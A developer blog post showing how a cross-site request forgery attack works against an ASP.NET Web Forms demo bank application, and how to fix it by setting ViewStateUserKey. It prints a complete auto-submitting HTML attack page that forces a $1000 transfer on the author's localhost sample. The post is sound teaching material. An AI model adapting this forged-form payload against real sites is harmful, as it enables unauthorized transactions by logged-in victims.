CSRF Attacks and Web Forms

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In my last blog post, I walked step by step through a Cross-site request forgery (CSRF) attack against an ASP.NET MVC web application. This attack is the result of how browsers handle cookies and cross domain form posts and is not specific to any one web platform. Many web platforms thus include their own mitigations to the problem.

It might seem that if you’re using Web Forms, you’re automatically safe from this attack. While Web Forms has many mitigations turned on by default, it turns out that it does not automatically protect your site against this specific form of attack.

In the same sample bank transfer application I provided in the last post, I also included an example written using Web Forms which demonstrates the CSRF attack. After you log in to the site, you can navigate to /BankWebForm/default.aspx to try out the Web Form version of the transfer money page. it works just like the MVC version.

To simulate the attack, make sure you are running the sample application locally and make sure you are logged in and then click on http://haacked.com/demos/csrf-webform.html.

Here’s the code for that page:

<html xmlns="http://www.w3.org/1999/xhtml" >
<head>
    <title></title>
</head>
<body>
  <form name="badform" method="post"
    action="http://localhost:54607/BankWebForm/Default.aspx">
    <input type="hidden" name="ctl00$MainContent$amountTextBox"
      value="1000" />
    <input type="hidden" name="ctl00$MainContent$destinationAccountDropDown"
      value="2" />
    <input type="hidden" name="ctl00$MainContent$submitButton"
      value="Transfer" />
    <input type="hidden" name="__EVENTTARGET" id="__EVENTTARGET"
      value="" />
    <input type="hidden" name="__EVENTARGUMENT" id="__EVENTARGUMENT"
      value="" />
    <input type="hidden" name="__VIEWSTATE" id="__VIEWSTATE"
      value="/wEP...0ws8kIw=" />
    <input type="hidden" name="__EVENTVALIDATION" id="__EVENTVALIDATION"
      value="/wEWBwK...+FaB85Nc" />
    </form>
    <script type="text/javascript">
        document.badform.submit();
    </script>
</body>
</html>

It’s a bit more involved, but it does the trick. It mocks up all the proper hidden fields required to execute a bank transfer on my silly demo site.

The mitigation for this attack is pretty simple and described thoroughly in this this article by Dino Esposito as well as this post by Scott Hanselman. The change I made to my code behind based on Dino’s recommendation is the following:

protected override void OnInit(EventArgs e) {
  ViewStateUserKey = Session.SessionID;
  base.OnInit(e);
}

With this change in place, the CSRF attack I put in place no longer works.

When you go to a real bank site, you’ll learn they have all sorts of protections in place above and beyond what I described here. Hopefully this post and the previous one provided some insight into why they do all the things they do. :)

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